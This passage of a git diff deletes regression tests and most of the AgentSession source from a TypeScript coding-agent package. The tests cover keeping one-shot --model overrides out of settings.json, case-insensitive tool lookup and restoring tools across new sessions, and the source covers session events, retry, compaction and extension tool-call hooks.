"_applyModelChange should set the new model"); - assert.ok( - abortIdx < setModelIdx, - "retry cancellation must happen before applying the new model to prevent stale provider retries", - ); -}); diff --git a/packages/pi-coding-agent/src/core/agent-session-print-mode-persist.test.ts b/packages/pi-coding-agent/src/core/agent-session-print-mode-persist.test.ts deleted file mode 100644 index 2aa9de66f..000000000 --- a/packages/pi-coding-agent/src/core/agent-session-print-mode-persist.test.ts +++ /dev/null @@ -1,181 +0,0 @@ -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { test } from "vitest"; - -/** - * Regression #4251: `sf -p --model / "msg"` must never mutate - * the persisted defaultProvider/defaultModel in settings.json. The one-shot - * print invocation used to verify a provider (e.g. Bearer-auth smoke test) - * was silently overwriting the global default. - * - * Fix: thread a `persistModelChanges` flag from main.ts (false when not - * interactive) through CreateAgentSessionOptions → AgentSessionConfig → - * AgentSession, and gate `_applyModelChange`'s call to - * setDefaultModelAndProvider on it. - */ - -const repoRoot = process.cwd(); -const agentSessionSource = readFileSync( - join(repoRoot, "packages/pi-coding-agent/src/core/agent-session.ts"), - "utf-8", -); -const sdkSource = readFileSync( - join(repoRoot, "packages/pi-coding-agent/src/core/sdk.ts"), - "utf-8", -); -const mainSource = readFileSync( - join(repoRoot, "packages/pi-coding-agent/src/main.ts"), - "utf-8", -); -const sfCliSource = readFileSync(join(repoRoot, "src/cli.ts"), "utf-8"); - -test("AgentSessionConfig exposes persistModelChanges flag (#4251)", () => { - const configStart = agentSessionSource.indexOf( - "export interface AgentSessionConfig", - ); - assert.ok(configStart >= 0, "missing AgentSessionConfig"); - const configEnd = agentSessionSource.indexOf("\n}", configStart); - const configBlock = agentSessionSource.slice(configStart, configEnd); - assert.ok( - configBlock.includes("persistModelChanges?: boolean"), - "AgentSessionConfig should declare optional persistModelChanges flag", - ); -}); - -test("AgentSession stores persistModelChanges and defaults it to false (#4251)", () => { - assert.ok( - agentSessionSource.includes("private _persistModelChanges: boolean"), - "AgentSession should store _persistModelChanges", - ); - assert.ok( - agentSessionSource.includes( - "this._persistModelChanges = config.persistModelChanges ?? false", - ), - "constructor must default persistModelChanges to false so SDK consumers don't silently mutate user settings; interactive CLI entry points explicitly opt in", - ); -}); - -test("sf src/cli.ts interactive branch opts into persistence (#4251)", () => { - const printGuardIdx = sfCliSource.indexOf("if (isPrintMode)"); - // Interactive createAgentSession call lives after the print-mode branch. - const interactiveCreateIdx = sfCliSource.indexOf( - "createAgentSession({", - printGuardIdx + 10, - ); - // Skip the print-mode createAgentSession (already found by earlier tests); - // walk forward to the next one. - const nextCreateIdx = sfCliSource.indexOf( - "createAgentSession({", - interactiveCreateIdx + 10, - ); - assert.ok( - nextCreateIdx >= 0, - "missing interactive createAgentSession call in src/cli.ts", - ); - const interactiveBlock = sfCliSource.slice( - nextCreateIdx, - nextCreateIdx + 800, - ); - assert.ok( - interactiveBlock.includes("persistModelChanges: true"), - "interactive createAgentSession must explicitly pass persistModelChanges: true so user model picks still persist after the default was inverted to false (#4251)", - ); -}); - -test("main.ts sets persistModelChanges = isInteractive (#4251)", () => { - assert.ok( - mainSource.includes("sessionOptions.persistModelChanges = isInteractive"), - "main.ts should set persistModelChanges to isInteractive — true for interactive, false for print/rpc/mcp — now that the AgentSession default is false", - ); -}); - -test("_applyModelChange gates settings persistence on _persistModelChanges (#4251)", () => { - const start = agentSessionSource.indexOf("private async _applyModelChange("); - assert.ok(start >= 0, "missing _applyModelChange"); - const window = agentSessionSource.slice(start, start + 1500); - assert.ok( - window.includes("options?.persist !== false && this._persistModelChanges"), - "_applyModelChange must check _persistModelChanges before writing settings", - ); -}); - -test("CreateAgentSessionOptions forwards persistModelChanges to AgentSession (#4251)", () => { - const optionsStart = sdkSource.indexOf( - "export interface CreateAgentSessionOptions", - ); - assert.ok(optionsStart >= 0, "missing CreateAgentSessionOptions"); - const optionsEnd = sdkSource.indexOf("\n}", optionsStart); - const optionsBlock = sdkSource.slice(optionsStart, optionsEnd); - assert.ok( - optionsBlock.includes("persistModelChanges?: boolean"), - "CreateAgentSessionOptions should expose persistModelChanges", - ); - assert.ok( - sdkSource.includes("persistModelChanges: options.persistModelChanges"), - "createAgentSession must forward options.persistModelChanges into AgentSessionConfig", - ); -}); - -// Note: the previous guard `if (!isInteractive) persistModelChanges = false` -// has been replaced by an unconditional `persistModelChanges = isInteractive` -// assignment, now that the AgentSessionConfig default is false. The assertion -// moved to the "main.ts sets persistModelChanges = isInteractive" test below. - -test("sf src/cli.ts print-mode createAgentSession passes persistModelChanges: false (#4251)", () => { - const printGuardIdx = sfCliSource.indexOf("if (isPrintMode)"); - assert.ok(printGuardIdx >= 0, "missing isPrintMode branch in src/cli.ts"); - const createIdx = sfCliSource.indexOf("createAgentSession({", printGuardIdx); - assert.ok( - createIdx >= 0, - "missing createAgentSession call in print-mode branch", - ); - const createBlock = sfCliSource.slice(createIdx, createIdx + 800); - assert.ok( - createBlock.includes("persistModelChanges: false"), - "print-mode createAgentSession must pass persistModelChanges: false so --model overrides cannot mutate settings.json", - ); -}); - -test("sf src/cli.ts print-mode --model override calls setModel with persist: false (#4251)", () => { - const printGuardIdx = sfCliSource.indexOf("if (isPrintMode)"); - const overrideIdx = sfCliSource.indexOf("if (cliFlags.model)", printGuardIdx); - assert.ok( - overrideIdx >= 0, - "missing --model override block in print-mode branch", - ); - const overrideBlock = sfCliSource.slice(overrideIdx, overrideIdx + 500); - assert.ok( - overrideBlock.includes("session.setModel(match, { persist: false })"), - "print-mode --model override must pass { persist: false } explicitly so the intent is visible at the call site", - ); -}); - -test("sf src/cli.ts print-mode skips validateConfiguredModel when --model is set (#4251)", () => { - const printGuardIdx = sfCliSource.indexOf("if (isPrintMode)"); - const validateIdx = sfCliSource.indexOf( - "validateConfiguredModel(", - printGuardIdx, - ); - assert.ok( - validateIdx >= 0, - "missing validateConfiguredModel call in print-mode branch", - ); - // Walk backward to find the nearest enclosing `if (!cliFlags.model)` guard. - const guardIdx = sfCliSource.lastIndexOf("if (!cliFlags.model)", validateIdx); - assert.ok( - guardIdx >= 0 && guardIdx > printGuardIdx, - "validateConfiguredModel must be guarded by `if (!cliFlags.model)` in print mode so a CLI-provided model never triggers fallback repair that overwrites settings.json", - ); - // reapplyValidatedModelOnFallback must be inside the same guard block. - const reapplyIdx = sfCliSource.indexOf( - "reapplyValidatedModelOnFallback(", - validateIdx, - ); - assert.ok(reapplyIdx >= 0, "missing reapplyValidatedModelOnFallback call"); - const blockEnd = sfCliSource.indexOf("\n\t}\n", guardIdx); - assert.ok( - reapplyIdx < blockEnd, - "reapplyValidatedModelOnFallback must be inside the same `if (!cliFlags.model)` block as validateConfiguredModel", - ); -}); diff --git a/packages/pi-coding-agent/src/core/agent-session-renderable-tools.test.ts b/packages/pi-coding-agent/src/core/agent-session-renderable-tools.test.ts deleted file mode 100644 index e1fc97ecc..000000000 --- a/packages/pi-coding-agent/src/core/agent-session-renderable-tools.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { Type } from "@sinclair/typebox"; - -import { Agent } from "@singularity-forge/pi-agent-core"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { AgentSession } from "./agent-session.js"; -import { AuthStorage } from "./auth-storage.js"; -import type { ToolDefinition } from "./extensions/types.js"; -import { ModelRegistry } from "./model-registry.js"; -import { DefaultResourceLoader } from "./resource-loader.js"; -import { SessionManager } from "./session-manager.js"; -import { SettingsManager } from "./settings-manager.js"; - -let testDir: string; - -async function createSession() { - const agentDir = join(testDir, "agent-home"); - const authStorage = AuthStorage.inMemory({}); - const modelRegistry = new ModelRegistry( - authStorage, - join(agentDir, "models.json"), - ); - const settingsManager = SettingsManager.inMemory(); - const resourceLoader = new DefaultResourceLoader({ - cwd: testDir, - agentDir, - settingsManager, - noExtensions: true, - noPromptTemplates: true, - noThemes: true, - }); - await resourceLoader.reload(); - - return new AgentSession({ - agent: new Agent(), - sessionManager: SessionManager.inMemory(testDir), - settingsManager, - cwd: testDir, - resourceLoader, - modelRegistry, - }); -} - -describe("AgentSession renderable tool lookup", () => { - beforeEach(() => { - testDir = mkdtempSync(join(tmpdir(), "agent-session-tools-")); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - it("matches registered tool definitions case-insensitively (#3780)", async () => { - const session = await createSession(); - const bashDefinition = { - name: "bash", - label: "bash", - description: "Execute a shell command", - parameters: Type.Object({}), - execute: async () => ({ content: [], details: undefined }), - } satisfies ToolDefinition; - - (session as any)._extensionRunner = { - getAllRegisteredTools: () => [{ definition: bashDefinition }], - }; - - assert.equal(session.getRenderableToolDefinition("Bash"), bashDefinition); - assert.equal(session.getRenderableToolDefinition("BASH"), bashDefinition); - }); -}); diff --git a/packages/pi-coding-agent/src/core/agent-session-tool-refresh.test.ts b/packages/pi-coding-agent/src/core/agent-session-tool-refresh.test.ts deleted file mode 100644 index ceea78d63..000000000 --- a/packages/pi-coding-agent/src/core/agent-session-tool-refresh.test.ts +++ /dev/null @@ -1,67 +0,0 @@ -// SF — Regression tests for #3616: tool list persistence across newSession() calls -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { describe, test } from "vitest"; - -const source = readFileSync( - join(process.cwd(), "packages/pi-coding-agent/src/core/agent-session.ts"), - "utf-8", -); - -describe("#3616 — newSession() must restore full tool set", () => { - test("newSession() calls _refreshToolRegistry with includeAllExtensionTools when cwd is unchanged", () => { - // Find the newSession method - const newSessionStart = source.indexOf("async newSession(options?:"); - assert.ok(newSessionStart >= 0, "should find newSession method"); - - // Get the method body (up to the next top-level method) - const methodBody = source.slice(newSessionStart, newSessionStart + 3000); - - // Verify the cwd-changed branch rebuilds tools - assert.ok( - methodBody.includes("if (this._cwd !== previousCwd)"), - "should have cwd-change guard", - ); - - // Verify the else branch exists and refreshes tools with includeAllExtensionTools - const elseIdx = methodBody.indexOf("} else {"); - assert.ok(elseIdx >= 0, "should have else branch for cwd-unchanged case"); - - const elseBranch = methodBody.slice(elseIdx, elseIdx + 800); - assert.ok( - elseBranch.includes("_refreshToolRegistry"), - "else branch should call _refreshToolRegistry", - ); - assert.ok( - elseBranch.includes("includeAllExtensionTools: true"), - "else branch should pass includeAllExtensionTools: true to restore narrowed tools", - ); - }); - - test("newSession() references #3616 in the else-branch comment", () => { - const idx = source.indexOf("#3616"); - assert.ok( - idx >= 0, - "source should reference issue #3616 for the tool restore fix", - ); - }); - - test("agent.reset() does not clear _state.tools (tools persist across reset)", () => { - // This is a structural invariant — if reset() starts clearing tools, - // the newSession() refresh becomes the only defense against tool loss. - const agentSource = readFileSync( - join(process.cwd(), "packages/pi-agent-core/src/agent.ts"), - "utf-8", - ); - const resetStart = agentSource.indexOf("reset()"); - assert.ok(resetStart >= 0, "should find reset() method"); - const resetBody = agentSource.slice(resetStart, resetStart + 400); - assert.ok( - !resetBody.includes("tools"), - "reset() should NOT touch _state.tools — tools are managed by agent-session", - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/agent-session.ts b/packages/pi-coding-agent/src/core/agent-session.ts deleted file mode 100644 index 203517525..000000000 --- a/packages/pi-coding-agent/src/core/agent-session.ts +++ /dev/null @@ -1,3356 +0,0 @@ -/** - * AgentSession - Core abstraction for agent lifecycle and session management. - * - * This class is shared between all run modes (interactive, print, rpc). - * It encapsulates: - * - Agent state access - * - Event subscription with automatic session persistence - * - Model and thinking level management - * - Compaction (manual and auto) - * - Bash execution - * - Session switching and branching - * - * Modes use this class and add their own I/O layer on top. - */ - -import { readFileSync } from "node:fs"; -import { basename, dirname, join } from "node:path"; -import { Type } from "@sinclair/typebox"; -import type { - Agent, - AgentEvent, - AgentMessage, - AgentState, - AgentTool, - ThinkingLevel, -} from "@singularity-forge/pi-agent-core"; -import type { - AssistantMessage, - ImageContent, - Message, - Model, - TextContent, -} from "@singularity-forge/pi-ai"; -import { - modelsAreEqual, - resetApiProviders, - supportsXhigh, -} from "@singularity-forge/pi-ai"; -import { getDocsPath } from "../config.js"; -import { theme } from "../modes/interactive/theme/theme.js"; -import { getErrorMessage } from "../utils/error.js"; -import { stripFrontmatter } from "../utils/frontmatter.js"; -import { - type BashResult, - executeBash as executeBashCommand, - executeBashWithOperations, -} from "./bash-executor.js"; -import { - type CompactionResult, - calculateContextTokens, - collectEntriesForBranchSummary, - estimateContextTokens, - generateBranchSummary, -} from "./compaction/index.js"; -import { CompactionOrchestrator } from "./compaction-orchestrator.js"; -import { DEFAULT_THINKING_LEVEL } from "./defaults.js"; -import { exportSessionToHtml } from "./export-html/index.js"; -import { createToolHtmlRenderer } from "./export-html/tool-renderer.js"; -import { - type ContextUsage, - type ExtensionCommandContextActions, - type ExtensionErrorListener, - ExtensionRunner, - type ExtensionUIContext, - type InputSource, - type MessageEndEvent, - type MessageStartEvent, - type MessageUpdateEvent, - type SessionBeforeForkResult, - type SessionBeforeSwitchResult, - type SessionBeforeTreeResult, - type ShutdownHandler, - type ToolDefinition, - type ToolExecutionEndEvent, - type ToolExecutionStartEvent, - type ToolExecutionUpdateEvent, - type ToolInfo, - type TreePreparation, - type TurnEndEvent, - type TurnStartEvent, - wrapRegisteredTools, -} from "./extensions/index.js"; -import { FallbackResolver } from "./fallback-resolver.js"; -import { - downsizeConversationImages, - isImageDimensionError, -} from "./image-overflow-recovery.js"; -import type { BashExecutionMessage, CustomMessage } from "./messages.js"; -import type { ModelRegistry } from "./model-registry.js"; -import { - expandPromptTemplate, - type PromptTemplate, -} from "./prompt-templates.js"; -import type { - ResourceExtensionPaths, - ResourceLoader, -} from "./resource-loader.js"; -import { RetryHandler } from "./retry-handler.js"; -import type { BranchSummaryEntry, SessionManager } from "./session-manager.js"; -import { getLatestCompactionEntry } from "./session-manager.js"; -import type { SettingsManager } from "./settings-manager.js"; -import { - BUILTIN_SLASH_COMMANDS, - type SlashCommandInfo, - type SlashCommandLocation, -} from "./slash-commands.js"; -import { buildSystemPrompt } from "./system-prompt.js"; -import type { BashOperations } from "./tools/bash.js"; -import { createAllTools } from "./tools/index.js"; - -// ============================================================================ -// Skill Block Parsing -// ============================================================================ - -/** Parsed skill block from a user message */ -export interface ParsedSkillBlock { - name: string; - location: string; - content: string; - userMessage: string | undefined; -} - -/** - * Parse a skill block from message text. - * Returns null if the text doesn't contain a skill block. - */ -export function parseSkillBlock(text: string): ParsedSkillBlock | null { - const match = text.match( - /^\n([\s\S]*?)\n<\/skill>(?:\n\n([\s\S]+))?$/, - ); - if (!match) return null; - return { - name: match[1], - location: match[2], - content: match[3], - userMessage: match[4]?.trim() || undefined, - }; -} - -/** Session-specific events that extend the core AgentEvent */ -export type SessionStateChangeReason = - | "set_model" - | "set_thinking_level" - | "set_steering_mode" - | "set_follow_up_mode" - | "set_auto_compaction" - | "set_auto_retry" - | "abort_retry" - | "new_session" - | "switch_session" - | "set_session_name" - | "fork"; - -export type AgentSessionEvent = - | AgentEvent - | { type: "session_state_changed"; reason: SessionStateChangeReason } - | { type: "auto_compaction_start"; reason: "threshold" | "overflow" } - | { - type: "auto_compaction_end"; - result: CompactionResult | undefined; - aborted: boolean; - willRetry: boolean; - errorMessage?: string; - } - | { - type: "auto_retry_start"; - attempt: number; - maxAttempts: number; - delayMs: number; - errorMessage: string; - } - | { - type: "auto_retry_end"; - success: boolean; - attempt: number; - finalError?: string; - } - | { - type: "fallback_provider_switch"; - from: string; - to: string; - reason: string; - } - | { type: "fallback_provider_restored"; provider: string; reason: string } - | { type: "fallback_chain_exhausted"; reason: string } - | { - type: "image_overflow_recovery"; - strippedCount: number; - imageCount: number; - }; - -/** Listener function for agent session events */ -export type AgentSessionEventListener = (event: AgentSessionEvent) => void; - -// ============================================================================ -// Types -// ============================================================================ - -export interface AgentSessionConfig { - agent: Agent; - sessionManager: SessionManager; - settingsManager: SettingsManager; - cwd: string; - /** Models to cycle through with Ctrl+P (from --models flag) */ - scopedModels?: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>; - /** Resource loader for skills, prompts, themes, context files, system prompt */ - resourceLoader: ResourceLoader; - /** SDK custom tools registered outside extensions */ - customTools?: ToolDefinition[]; - /** Model registry for API key resolution and model discovery */ - modelRegistry: ModelRegistry; - /** Initial active built-in tool names. Default: [read, grep, find, ls, bash, edit, write, lsp] */ - initialActiveToolNames?: string[]; - /** Override base tools (useful for custom runtimes). */ - baseToolsOverride?: Record; - /** Mutable ref used by Agent to access the current ExtensionRunner */ - extensionRunnerRef?: { current?: ExtensionRunner }; - /** Optional: check if the claude-code CLI provider is ready (installed + authed). - * Passed through to RetryHandler for third-party block recovery (#3772). */ - isClaudeCodeReady?: () => boolean; - /** When false, model changes (via setModel/cycleModel/extension setModel) do NOT - * write defaultProvider/defaultModel back to settings.json. Used by print/one-shot - * mode so that `sf -p --model X "msg"` never mutates the persisted default (#4251). */ - persistModelChanges?: boolean; -} - -export interface ExtensionBindings { - uiContext?: ExtensionUIContext; - commandContextActions?: ExtensionCommandContextActions; - shutdownHandler?: ShutdownHandler; - onError?: ExtensionErrorListener; -} - -/** Options for AgentSession.prompt() */ -export interface PromptOptions { - /** Whether to expand file-based prompt templates (default: true) */ - expandPromptTemplates?: boolean; - /** Image attachments */ - images?: ImageContent[]; - /** When streaming, how to queue the message: "steer" (next safe turn) or "followUp" (after current run). Required if streaming. */ - streamingBehavior?: "steer" | "followUp"; - /** Source of input for extension input event handlers. Defaults to "interactive". */ - source?: InputSource; -} - -function isAgentAlreadyProcessingError(error: unknown): boolean { - const message = error instanceof Error ? error.message : String(error); - return ( - message.includes("Agent is already processing a prompt") || - message.includes("Agent is already processing.") - ); -} - -/** Result from cycleModel() */ -export interface ModelCycleResult { - model: Model; - thinkingLevel: ThinkingLevel; - /** Whether cycling through scoped models (--models flag) or all available */ - isScoped: boolean; -} - -/** Session statistics for /session command */ -export interface SessionStats { - sessionFile: string | undefined; - sessionId: string; - userMessages: number; - assistantMessages: number; - toolCalls: number; - toolResults: number; - totalMessages: number; - tokens: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - total: number; - }; - cost: number; -} - -// ============================================================================ -// Constants -// ============================================================================ - -/** Standard thinking levels */ -const THINKING_LEVELS: ThinkingLevel[] = [ - "off", - "minimal", - "low", - "medium", - "high", -]; - -/** Thinking levels including xhigh (for supported models) */ -const THINKING_LEVELS_WITH_XHIGH: ThinkingLevel[] = [ - "off", - "minimal", - "low", - "medium", - "high", - "xhigh", -]; - -// ============================================================================ -// AgentSession Class -// ============================================================================ - -export class AgentSession { - readonly agent: Agent; - readonly sessionManager: SessionManager; - readonly settingsManager: SettingsManager; - - private _scopedModels: Array<{ - model: Model; - thinkingLevel?: ThinkingLevel; - }>; - - // Event subscription state - private _unsubscribeAgent?: () => void; - private _eventListeners: AgentSessionEventListener[] = []; - private _agentEventQueue: Promise = Promise.resolve(); - - /** Tracks pending steering messages for UI display. Removed when delivered. */ - private _steeringMessages: string[] = []; - /** Tracks pending follow-up messages for UI display. Removed when delivered. */ - private _followUpMessages: string[] = []; - /** Messages queued to be included with the next user prompt as context ("asides"). */ - private _pendingNextTurnMessages: CustomMessage[] = []; - - // Delegated subsystems - private _retryHandler: RetryHandler; - private _compactionOrchestrator: CompactionOrchestrator; - - // Cumulative session stats — survives compaction (#1423) - private _cumulativeCost = 0; - private _cumulativeInputTokens = 0; - private _cumulativeOutputTokens = 0; - private _cumulativeToolCalls = 0; - - /** Cost of the most recent assistant response (for per-prompt display). */ - private _lastTurnCost = 0; - - // Bash execution state - private _bashAbortController: AbortController | undefined = undefined; - private _pendingBashMessages: BashExecutionMessage[] = []; - - // Extension system - private _extensionRunner: ExtensionRunner | undefined = undefined; - private _turnIndex = 0; - private _processingAgentEnd = false; - private _processingQueuedAgentEnd = false; - private _sessionSwitchPending = false; - private _sessionTransitionStartedDuringAgentEnd = false; - - private _resourceLoader: ResourceLoader; - private _customTools: ToolDefinition[]; - private _baseToolRegistry: Map = new Map(); - private _cwd: string; - private _extensionRunnerRef?: { current?: ExtensionRunner }; - private _initialActiveToolNames?: string[]; - private _baseToolsOverride?: Record; - private _extensionUIContext?: ExtensionUIContext; - private _extensionCommandContextActions?: ExtensionCommandContextActions; - private _extensionShutdownHandler?: ShutdownHandler; - private _extensionErrorListener?: ExtensionErrorListener; - private _extensionErrorUnsubscriber?: () => void; - - // Model registry for API key resolution - private _modelRegistry: ModelRegistry; - - // Provider fallback resolver - private _fallbackResolver: FallbackResolver; - - // Tool registry for extension getTools/setTools - private _toolRegistry: Map = new Map(); - private _toolPromptSnippets: Map = new Map(); - private _toolPromptGuidelines: Map = new Map(); - - // Base system prompt (without extension appends) - used to apply fresh appends each turn - private _baseSystemPrompt = ""; - - // Whether model changes should write defaultProvider/defaultModel to settings.json. - // Defaults to false — callers must explicitly opt into persistence. This is the - // safe default for SDK consumers: a third party building on @singularity-forge/pi-coding-agent - // should not silently mutate the user's global settings just by switching models. - // Interactive CLI entry points (sf wrapper's interactive branch and pi main's - // isInteractive branch) explicitly set this to true so user model picks still - // persist. One-shot/print/rpc/mcp leave it false. (#4251) - private _persistModelChanges: boolean; - - constructor(config: AgentSessionConfig) { - this.agent = config.agent; - this.sessionManager = config.sessionManager; - this.settingsManager = config.settingsManager; - this._persistModelChanges = config.persistModelChanges ?? false; - this._scopedModels = config.scopedModels ?? []; - this._resourceLoader = config.resourceLoader; - this._customTools = config.customTools ?? []; - this._cwd = config.cwd; - this._modelRegistry = config.modelRegistry; - this._fallbackResolver = new FallbackResolver( - this.settingsManager, - this._modelRegistry.authStorage, - this._modelRegistry, - ); - this._extensionRunnerRef = config.extensionRunnerRef; - this._initialActiveToolNames = config.initialActiveToolNames; - this._baseToolsOverride = config.baseToolsOverride; - - // Initialize delegated subsystems - this._retryHandler = new RetryHandler({ - agent: this.agent, - settingsManager: this.settingsManager, - modelRegistry: this._modelRegistry, - fallbackResolver: this._fallbackResolver, - getModel: () => this.model, - getSessionId: () => this.sessionId, - emit: (event) => this._emit(event), - onModelChange: (model) => - this.sessionManager.appendModelChange(model.provider, model.id), - isClaudeCodeReady: config.isClaudeCodeReady, - }); - - this._compactionOrchestrator = new CompactionOrchestrator({ - agent: this.agent, - sessionManager: this.sessionManager, - settingsManager: this.settingsManager, - modelRegistry: this._modelRegistry, - getModel: () => this.model, - getSessionId: () => this.sessionId, - getExtensionRunner: () => this._extensionRunner, - emit: (event) => this._emit(event), - disconnectFromAgent: () => this._disconnectFromAgent(), - reconnectToAgent: () => this._reconnectToAgent(), - abort: () => this.abort(), - }); - - // Always subscribe to agent events for internal handling - // (session persistence, extensions, auto-compaction, retry logic) - this._unsubscribeAgent = this.agent.subscribe(this._handleAgentEvent); - - // Install tool hooks that await the event queue before emitting extension events. - // This ensures extensions always see settled state (e.g., assistant message appended) - // even when tools execute in parallel. - this._installAgentToolHooks(); - - this._buildRuntime({ - activeToolNames: this._initialActiveToolNames, - includeAllExtensionTools: true, - }); - } - - /** Model registry for API key resolution and model discovery */ - get modelRegistry(): ModelRegistry { - return this._modelRegistry; - } - - /** Fallback resolver for cross-provider fallback */ - get fallbackResolver(): FallbackResolver { - return this._fallbackResolver; - } - - // ========================================================================= - // Event Subscription - // ========================================================================= - - /** Emit an event to all listeners */ - private _emit(event: AgentSessionEvent): void { - for (const l of this._eventListeners) { - l(event); - } - } - - private _emitSessionStateChanged(reason: SessionStateChangeReason): void { - this._emit({ type: "session_state_changed", reason }); - } - - // Track last assistant message for auto-compaction check - private _lastAssistantMessage: AssistantMessage | undefined = undefined; - - /** Internal handler for agent events - shared by subscribe and reconnect */ - private _handleAgentEvent = (event: AgentEvent): void => { - // Create retry promise synchronously before queueing async processing. - // Agent.emit() calls this handler synchronously, and prompt() calls waitForRetry() - // as soon as agent.prompt() resolves. If the retry promise is created only inside - // _processAgentEvent, slow earlier queued events can delay agent_end processing - // and waitForRetry() can miss the in-flight retry. - this._createRetryPromiseForAgentEnd(event); - - this._agentEventQueue = this._agentEventQueue.then( - () => this._processAgentEvent(event), - () => this._processAgentEvent(event), - ); - - // Keep queue alive if an event handler fails - this._agentEventQueue.catch(() => {}); - }; - - private _createRetryPromiseForAgentEnd(event: AgentEvent): void { - if (event.type !== "agent_end") return; - this._retryHandler.createRetryPromiseForAgentEnd(event.messages); - } - - private async _processAgentEvent(event: AgentEvent): Promise { - // When a user message starts, check if it's from either queue and remove it BEFORE emitting - // This ensures the UI sees the updated queue state - if (event.type === "message_start" && event.message.role === "user") { - this._compactionOrchestrator.resetOverflowRecovery(); - const messageText = this._getUserMessageText(event.message); - if (messageText) { - // Check steering queue first - const steeringIndex = this._steeringMessages.indexOf(messageText); - if (steeringIndex !== -1) { - this._steeringMessages.splice(steeringIndex, 1); - } else { - // Check follow-up queue - const followUpIndex = this._followUpMessages.indexOf(messageText); - if (followUpIndex !== -1) { - this._followUpMessages.splice(followUpIndex, 1); - } - } - } - } - - // Emit to extensions first - // Guard agent_end: track when session transition starts during extension handlers - // so post-handlers (retry/compaction) can bail before corrupting new-session state. - let skipAgentEndPostHandlers = false; - if (event.type === "agent_end") { - this._processingQueuedAgentEnd = true; - try { - await this._emitExtensionEvent(event); - } finally { - this._processingQueuedAgentEnd = false; - skipAgentEndPostHandlers = this._sessionTransitionStartedDuringAgentEnd; - this._sessionTransitionStartedDuringAgentEnd = false; - } - if (skipAgentEndPostHandlers) { - return; - } - } else { - await this._emitExtensionEvent(event); - } - - // Notify all listeners - this._emit(event); - - // Handle session persistence - if (event.type === "message_end") { - // Check if this is a custom message from extensions - if (event.message.role === "custom") { - // Persist as CustomMessageEntry - this.sessionManager.appendCustomMessageEntry( - event.message.customType, - event.message.content, - event.message.display, - event.message.details, - ); - } else if ( - event.message.role === "user" || - event.message.role === "assistant" || - event.message.role === "toolResult" - ) { - // Regular LLM message - persist as SessionMessageEntry - this.sessionManager.appendMessage(event.message); - } - // Other message types (bashExecution, compactionSummary, branchSummary) are persisted elsewhere - - // Track assistant message for auto-compaction (checked on agent_end) - if (event.message.role === "assistant") { - this._lastAssistantMessage = event.message; - - // Accumulate session stats that survive compaction (#1423) - const assistantMsg = event.message as AssistantMessage; - this._lastTurnCost = assistantMsg.usage?.cost?.total ?? 0; - this._cumulativeCost += assistantMsg.usage?.cost?.total ?? 0; - this._cumulativeInputTokens += assistantMsg.usage?.input ?? 0; - this._cumulativeOutputTokens += assistantMsg.usage?.output ?? 0; - this._cumulativeToolCalls += assistantMsg.content.filter( - (c) => c.type === "toolCall", - ).length; - - if (assistantMsg.stopReason !== "error") { - this._compactionOrchestrator.clearOverflowRecovery(); - } - - // Reset retry counter immediately on successful assistant response - // This prevents accumulation across multiple LLM calls within a turn - if (assistantMsg.stopReason !== "error") { - this._retryHandler.handleSuccessfulResponse(); - } - } - } - - // Check auto-retry and auto-compaction after agent completes - if (event.type === "agent_end" && this._lastAssistantMessage) { - // A session transition started during agent_end handler execution - - // bail to avoid running retry/compaction against new-session state. - if (this._sessionSwitchPending) { - this._lastAssistantMessage = undefined; - return; - } - - const msg = this._lastAssistantMessage; - this._lastAssistantMessage = undefined; - - // Check for retryable errors first (overloaded, rate limit, server errors) - if (this._retryHandler.isRetryableError(msg)) { - const didRetry = await this._retryHandler.handleRetryableError(msg); - if (didRetry) return; // Retry was initiated, don't proceed to compaction - } - - // Check for image dimension overflow (many-image 400 error). - // When a session accumulates many images, the API rejects requests - // whose images exceed the many-image dimension limit. Strip older - // images from the conversation and auto-retry. (#2874) - if ( - msg.stopReason === "error" && - isImageDimensionError(msg.errorMessage) - ) { - const messages = this.agent.state.messages; - const result = downsizeConversationImages(messages as Message[]); - if (result.processed) { - // Remove the trailing error assistant message, then replace - if ( - messages.length > 0 && - messages[messages.length - 1].role === "assistant" - ) { - this.agent.replaceMessages(messages.slice(0, -1)); - } - - this._emit({ - type: "image_overflow_recovery", - strippedCount: result.strippedCount, - imageCount: result.imageCount, - }); - - // Auto-retry after downsizing - setTimeout(() => { - this.agent.continue().catch(() => {}); - }, 0); - return; - } - } - - await this._compactionOrchestrator.checkCompaction(msg); - } - } - - /** - * Install beforeToolCall/afterToolCall hooks on the Agent. - * - * These hooks await `_agentEventQueue` before emitting extension events, - * ensuring that all prior events (including `message_end` which appends - * the assistant message) have fully settled. This prevents a race condition - * in parallel tool execution where extension `tool_call` handlers could - * see stale agent state. - */ - private _installAgentToolHooks(): void { - this.agent.setBeforeToolCall(async ({ toolCall, args }) => { - // Wait for all queued agent events to settle before emitting to extensions - await this._agentEventQueue; - - if (!this._extensionRunner?.hasHandlers("tool_call")) return undefined; - - try { - const callResult = await this._extensionRunner.emitToolCall({ - type: "tool_call", - toolName: toolCall.name, - toolCallId: toolCall.id, - input: args as Record, - }); - - if (callResult?.block) { - return { - block: true, - reason: - callResult.reason || "Tool execution was blocked by an extension", - }; - } - } catch (err) { - return { - block: true, - reason: - err instanceof Error - ? err.message - : `Extension failed, blocking execution: ${String(err)}`, - }; - } - - return undefined; - }); - - this.agent.setAfterToolCall(async ({ toolCall, args, result, isError }) => { - // Wait for all queued agent events to settle - await this._agentEventQueue; - - if (!this._extensionRunner?.hasHandlers("tool_result")) return undefined; - - const resultResult = await this._extensionRunner.emitToolResult({ - type: "tool_result", - toolName: toolCall.name, - toolCallId: toolCall.id, - input: args as Record, - content: result.content, - details: result.details, - isError, - }); - - if (resultResult) { - return { - content: resultResult.content ?? undefined, - details: resultResult.details ?? undefined, - isError: resultResult.isError ?? isError, - }; - } - - return undefined; - }); - } - - /** Extract text content from a message */ - private _getUserMessageText(message: Message): string { - if (message.role !== "user") return ""; - const content = message.content; - if (typeof content 